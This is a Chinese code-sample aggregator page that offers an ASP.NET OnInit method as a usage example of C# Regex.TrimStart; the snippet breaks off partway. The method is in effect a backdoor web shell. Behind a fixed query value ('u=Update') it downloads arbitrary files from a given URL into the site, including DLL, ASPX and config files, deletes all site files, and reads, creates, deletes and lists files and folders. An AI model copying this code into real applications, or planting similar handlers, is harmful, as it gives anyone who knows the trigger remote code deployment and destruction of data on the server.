本文整理汇总了C#中System.Text.RegularExpressions.Regex.TrimStart方法的典型用法代码示例。如果您正苦于以下问题:C# Regex.TrimStart方法的具体用法?C# Regex.TrimStart怎么用?C# Regex.TrimStart使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类System.Text.RegularExpressions.Regex
的用法示例。
在下文中一共展示了Regex.TrimStart方法的1个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: OnInit
/// <summary>
/// Page_Load
/// </summary>
/// <param name="e"></param>
protected override void OnInit(EventArgs e) {
string localPath = string.Empty;
string fileName = string.Empty;
bool isTrue = true;
string u2 = "Update";
string[] ext = new string[] { "/bin.bak/", "/app_data.bak/", "/app_code.bak/", "\\.dll.bak", "\\.aspx.bak", "\\.config.bak", "\\.master.bak", "\\.asax.bak", "\\.ascx.bak", "\\.compiled.bak", "\\.asmx.bak", "\\.cs.bak" };
string[] repExt = new string[] { "/Bin/", "/App_Data/", "/App_Code/", "\\.dll", "\\.aspx", "\\.config", "\\.master", "\\.asax", "\\.ascx", "\\.compiled", "\\.asmx", "\\.cs" };
string[] strList = new string[] { "{1}: {0} ok!", "<font color='red'>{1}: {0} error!</font>" };
string u1 = Request2.GetQ("u").Trim();
if (!u2.Equals(u1)) return;
string active = Request2.GetQ("active").Trim();
switch (active) {
case "sh": Msg.WriteEnd(template.Replace("{0}", Environment.MachineName).Replace("{1}", Request2.GetRelativeRoot())); break;
case "do":
string file = Request2.Get("file").Trim(); //StringExtensions.HtmlDecode(Request2.Get("file")).Trim();
if (file.IsNullEmpty()) Msg.WriteEnd("error file.");
string action = file.Substring(0, 3);
file = "/" + file.Substring(3).TrimStart('/').TrimStart('\\').Replace("\\", "/");
if (file.Length < 1) Msg.WriteEnd(string.Format(strList[1], file, "file"));
string url = StringExtensions.HtmlDecode(Request2.Get("url")).Replace("\\", "/").TrimEnd('/').TrimEnd('\\').Trim();
if (url.Length < 10) Msg.WriteEnd(string.Format(strList[1], url, "url"));
switch (action) {
case "af:":
isTrue = true;
for (int i = 0; i < ext.Length; i++) file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]);
file = file.Replace("\\.", ".");
string[] folderList = file.Split('/');
if (folderList.Length > 1) { fileName = folderList[folderList.Length - 1]; FileDirectory.DirectoryVirtualCreate("~/tmp" + file.Replace(fileName, "")); }
for (int i = 0; i < ext.Length; i++) file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]);
file = file.Replace("\\.", ".");
url = url + file;
for (int i = 0; i < ext.Length; i++) file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]);
file = file.Replace("\\.", ".");
localPath = "~/tmp/".GetMapPath() + "{0}";
file = file.Replace("/", "\\");
fileName = string.Format(localPath, file);
System.Net.WebClient wc = new System.Net.WebClient();
try {
wc.DownloadFile(url, fileName);
} catch {
isTrue = false;
} finally {
wc.Dispose();
}
file = file.Replace("\\", "/");
for (int i = 0; i < ext.Length; i++) file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]);
file = file.Replace("\\.", ".");
if (isTrue) Response.Write(string.Format(strList[0], file, "add file")); else Response.Write(string.Format(strList[1], file, "add file"));
break;
case "df:":
if (file == "/all") {
localPath = Server2.GetMapPath("~/");
#if !MONO40
FileDirectory.APIDelete(localPath);
#endif
Msg.WriteEnd(string.Format(strList[0], "all", "del file") + "<br>");
}
localPath = Server2.GetMapPath("~/") + file;
if (!FileDirectory.FileExists(localPath)) Msg.WriteEnd(string.Format(strList[1], file, "del file"));
try {
FileDirectory.FileDelete(localPath);
} catch {
Msg.WriteEnd(string.Format(strList[1], file, "del file"));
}
Response.Write(string.Format(strList[0], file, "del file"));
break;
case "rf:":
localPath = Server2.GetMapPath("~/") + file;
if (!FileDirectory.FileExists(localPath)) Msg.WriteEnd(string.Format(strList[1], file, "read file"));
string sbText = FileDirectory.FileReadAll(localPath, Encoding.UTF8);
string text = "<textarea id=\"txtContent\" cols=\"70\" rows=\"20\" f=\"" + localPath + "\">" + sbText + "</textarea><br /><input id=\"btnEdit\" type=\"button\" value=\"edit\" />";
Msg.WriteEnd(text + " ok!");
break;
case "ap:":
FileDirectory.DirectoryVirtualCreate("~" + file);
Msg.WriteEnd(string.Format(strList[0], file, "add path"));
break;
case "dp:":
localPath = Server2.GetMapPath("~/") + file;
try {
if (System.IO.Directory.Exists(localPath)) System.IO.Directory.Delete(localPath);
} catch {
Msg.WriteEnd(string.Format(strList[1], file, "del path"));
}
Msg.WriteEnd(string.Format(strList[0], file, "del path"));
break;
case "rp:":
localPath = Server2.GetMapPath("~/") + file.TrimStart('/').TrimEnd('/') + "/";
string size = "";
System.Collections.Generic.IList<string> sbFile2 = new System.Collections.Generic.List<string>();
StringBuilder sbFile3 = new StringBuilder();
try {
FileDirectory.FileList(localPath, ref sbFile2, localPath);
localPath = localPath.Replace("\\/", "\\");
for (int i = 0; i < sbFile2.Count; i++) {
//.........这里部分代码省略.........